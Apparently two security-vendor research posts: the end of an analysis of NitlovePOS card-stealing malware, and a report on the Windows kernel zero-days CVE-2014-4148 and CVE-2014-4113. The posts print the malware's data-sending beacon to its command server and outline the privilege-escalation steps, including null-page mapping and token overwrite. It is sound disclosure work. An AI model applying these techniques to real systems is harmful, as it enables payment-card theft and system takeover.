As soon as NitlovePOS starts running on the compromised system, it will initiate a callback via SSL:

    POST /derpos/gateway.php HTTP/1.1

    User-Agent: nit_love<GUID>

    Host: systeminfou48.ru

    Content-Length: 41

    Connection: Keep-Alive

    Cache-Control: no-cache

    Pragma: no-cache

 

    F.r.HWAWAWAWA

    <computer name>

    <OS Version>

    Y

The User-Agent header contains a hardcoded string “nit_love” and the Machine GUID, which is not necessarily unique but can be used as an identifier by the cybercriminals. The string “HWAWAWAWA” is hardcoded and may be a unique campaign identifier; the “F.r.” is calculated per infected host.

Thread 2: MailSlot monitoring waiting for payment card data

A mailslot is basically a shared range of memory that can be used to store data; the process creating the mailslot acts as the server and the clients can be other hosts on the same network, local processes on the machine, or local threads in the same process.

NitlovePOS uses this feature to store payment card information; the mailslot name that is created comes as a hardcoded string in the binary (once de-obfuscated);

    "\\.\mailslot\95d292040d8c4e31ac54a93ace198142"

Once the mailslot is created, an infinite loop will keep querying the allocated space.

Thread 3: Memory Scrapping

NitlovePOS scans running processes for payment data and but will skip System and “System Idle Process.” It will try to match track 1 or track 2 data and, if found, will write the data into the mailslot created by Thread 2. This information is then sent via POST it to the C2 using SSL, which makes network-level detection more difficult.

Possible Control Panel

During our research we observed what appears to be a test control panel on a different, but probably related, server that matches with NitlovePOS. This panel is called “nitbot,” which is similar to the “nit_love” string found in the binary and was located in a directory called “derpmo” which is similar to the “derpos” used in this case.

 

The information contained in the NitlovePOS beacon matches the fields that are displayed in the Nitbot control panel. These include the machines GIUD that is transmitted in the User-Agent header as well as an identifier “HWAWAWAWA,” which aligns with the “group name” that can be used by the cybercriminals to track various campaigns.

The control panel contains a view that lists the “tracks,” or stolen payment card data. This indicates that this panel is for malware capable of stealing data from POS machines that matches up with the capability of the NitlovePOS malware.

Conclusion

Even cybercriminals engaged in indiscriminate spam operations have POS malware available and can deploy it to s subset of their victims. Due to the widespread use of POS malware, they are eventually discovered and detection increases. However, this is followed by the development of new POS with very similar functionality. Despite the similarity, the detection levels for new variants are initially quite low. This gives the cybercriminals a window of opportunity to exploit the use of a new variant.

We expect that new versions of functionally similar POS malware will continue to emerge to meet the demand of the cybercrime marketplace.

Two Limited, Targeted Attacks; Two New Zero-Days

The FireEye Labs team has identified two new zero-day vulnerabilities as part of limited, targeted attacks against some major corporations. Both zero-days exploit the Windows Kernel, with Microsoft assigning CVE-2014-4148 and CVE-2014-4113 to and addressing the vulnerabilities in their October 2014 Security Bulletin.

FireEye Labs have identified 16 total zero-day attacks in the last two years – uncovering 11 in 2013 and five in 2014 so far.

Microsoft commented: “On October 14, 2014, Microsoft released MS14-058 to fully address these vulnerabilities and help protect customers. We appreciate FireEye Labs using Coordinated Vulnerability Disclosure to assist us in working toward a fix in a collaborative manner that helps keep customers safe.”

In the case of CVE-2014-4148, the attackers exploited a vulnerability in the Microsoft Windows TrueType Font (TTF) processing subsystem, using a Microsoft Office document to embed and deliver a malicious TTF to an international organization. Since the embedded TTF is processed in kernel-mode, successful exploitation granted the attackers kernel-mode access. Though the TTF is delivered in a Microsoft Office document, the vulnerability does not reside within Microsoft Office.

CVE-2014-4148 impacted both 32-bit and 64-bit Windows operating systems shown in MS14-058, though the attacks only targeted 32-bit systems. The malware contained within the exploit has specific functions adapted to the following operating system platform categories:

  • Windows 8.1/Windows Server 2012 R2
  • Windows 8/Windows Server 2012
  • Windows 7/Windows Server 2008 R2 (Service Pack 0 and 1)
  • Windows XP Service Pack 3

CVE-2014-4113 rendered Microsoft Windows 7, Vista, XP, Windows 2000, Windows Server 2003/R2, and Windows Server 2008/R2 vulnerable to a local Elevation of Privilege (EoP) attack. This means that the vulnerability cannot be used on its own to compromise a customer’s security. An attacker would first need to gain access to a remote system running any of the above operating systems before they could execute code within the context of the Windows Kernel. Investigation by FireEye Labs has revealed evidence that attackers have likely used variations of these exploits for a while. Windows 8 and Windows Server 2012 and later do not have these same vulnerabilities.

Information on the companies affected, as well as threat actors, is not available at this time. We have no evidence of these exploits being used by the same actors. Instead, we have only observed each exploit being used separately, in unrelated attacks.

 

About CVE-2014-4148

 

 

Mitigation

 

Microsoft has released security update MS14-058 that addresses CVE-2014-4148.

Since TTF exploits target the underlying operating system, the vulnerability can be exploited through multiple attack vectors, including web pages. In the past, exploit kit authors have converted a similar exploit (CVE-2011-3402) for use in browser-based attacks. More information about this scenario is available under Microsoft’s response to CVE-2011-3402: MS11-087.

 

Details

 

This TTF exploit is packaged within a Microsoft Office file. Upon opening the file, the font will exploit a vulnerability in the Windows TTF subsystem located within the win32k.sys kernel-mode driver.

The attacker’s shellcode resides within the Font Program (fpgm) section of the TTF. The font program begins with a short sequence of instructions that quickly return. The remainder of the font program section is treated as unreachable code for the purposes of the font program and is ignored when initially parsing the font.

During exploitation, the attacker’s shellcode uses Asynchronous Procedure Calls (APC) to inject the second stage from kernel-mode into the user-mode process winlogon.exe (in XP) or lsass.exe (in other OSes). From the injected process, the attacker writes and executes a third stage (executable).

The third stage decodes an embedded DLL to, and runs it from, memory. This DLL is a full-featured remote access tool that connects back to the attacker.

Plenty of evidence supports the attacker’s high level of sophistication. Beyond the fact that the attack is zero-day kernel-level exploit, the attack also showed the following:

  • a usable hard-coded area of kernel memory is used like a mutex to avoid running the shellcode multiple times
  • the exploit has an expiration date: if the current time is after October 31, 2014, the exploit shellcode will exit silently
  • the shellcode has implementation customizations for four different types of OS platforms/service pack levels, suggesting that testing for multiple OS platforms was conducted
  • the dropped malware individually decodes each string when that string is used to prevent analysis
  • the dropped malware is specifically customized for the targeted environment
  • the dropped remote access capability is full-featured and customized: it does not rely on generally available implementations (like Poison Ivy)
  • the dropped remote access capability is a loader that decrypts the actual DLL remote access capability into memory and never writes the decrypted remote access capability to disk

 

About CVE-2014-4113

 

 

Mitigation

 

Microsoft has released security update MS14-058 that addresses this vulnerability.

 

Vulnerability and Exploit Details

 

The 32-bit exploit triggers an out-of-bounds memory access that dereferences offsets from a high memory address, and inadvertently wraps into the null page. In user-mode, memory dereferences within the null page are generally assumed to be non-exploitable. Since the null page is usually not mapped – the exception being 16-bit legacy applications emulated by ntvdm.exe--null pointer dereferences will simply crash the running process. In contrast, memory dereferences within the null page in the kernel are commonly exploited because the attacker can first map the null page from user-mode, as is the case with this exploits. The steps taken for successful 32-bit exploitation are:

 

     

  1. Map the null page:

     

     

       

    1. ntdll!ZwAllocateVirtualMemory(…,BaseAddress=0x1, …)
    2.  

     

     

  2. Build a malformed win32k!tagWND structure at the null page such that it is properly validated in the kernel
  3. Trigger vulnerability
  4. Attacker’s callback in win32k!tagWND.lpfnWndProc executes in kernel-mode

     

     

       

    1. Callback overwrites EPROCESS.Token to elevate privileges
    2.  

     

     

  5. Spawns a child process that inherits the elevated access token
  6.  

 

32-bit Windows 8 and later users are not affected by this exploit. The Windows 8 Null Page protection prohibits user-mode processes from mapping the null page and causes the exploits to fail.

In the 64-bit version of the exploit, dereferencing offsets from a high 32-bit memory address do not wrap, as it is well within the addressable memory range for a 64-bit user-mode process. As such, the Null Page protection implemented in Windows versions 7 (after MS13-031) and later does not apply. The steps taken by the 64-bit exploit variants are:

 

     

  1. Map memory page:

     

     

       

    1. ntdll!ZwAllocateVirtualMemory(…)
    2.  

     

     

  2. Build a malformed win32k!tagWND structure at the mapped page such that it is properly validated in the kernel
  3. Trigger vulnerability
  4. Attacker’s callback in win32k!tagWND.lpfnWndProc executes in kernel-mode

     

     

       

    1. Callback overwrites EPROCESS.Token to elevate privileges
    2.  

     

     

  5. Spawns a child process that inherits the elevated access token
  6.  

 

64-bit Windows 8 and later users are not affected by this exploit. Supervisor Mode Execution Prevention (SMEP) blocks the attacker’s user-mode callback from executing within kernel-mode and causes the exploits to fail.

 

Exploits Tool History

 

The exploits are implemented as a command line tool that accepts a single command line argument – a shell command to execute with SYSTEM privileges. This tool appears to be an updated version of an earlier tool. The earlier tool exploited CVE-2011-1249, and displays the following usage message to stdout when run:

 

Usage:system_exp.exe cmd

 

 

Windows Kernel Local Privilege Exploits

 

The vast majority of samples of the earlier tool have compile dates in December 2009.  Only two samples were discovered with compile dates in March 2011. Although the two samples exploit the same CVE, they carry a slightly modified usage message of:

 

Usage:local.exe cmd

 

 

Windows local Exploits

 

The most recent version of the tool, which implements CVE-2014-4113, eliminates all usage messages.

The tool appears to have gone through at least three iterations over time. The initial tool and exploits is believed to have had limited availability, and may have been employed by a handful of distinct attack groups. As the exploited vulnerability was remediated, someone with access to the tool modified it to use a newer exploit when one became available. These two newer versions likely did not achieve the widespread distribution that the original tool/exploits did and may have been retained privately, not necessarily even by the same actors.

We would like to thank Barry Vengerik, Joshua Homan, Steve Davis, Ned Moran, Corbin Souffrant, Xiaobo Chen for their assistance on this research.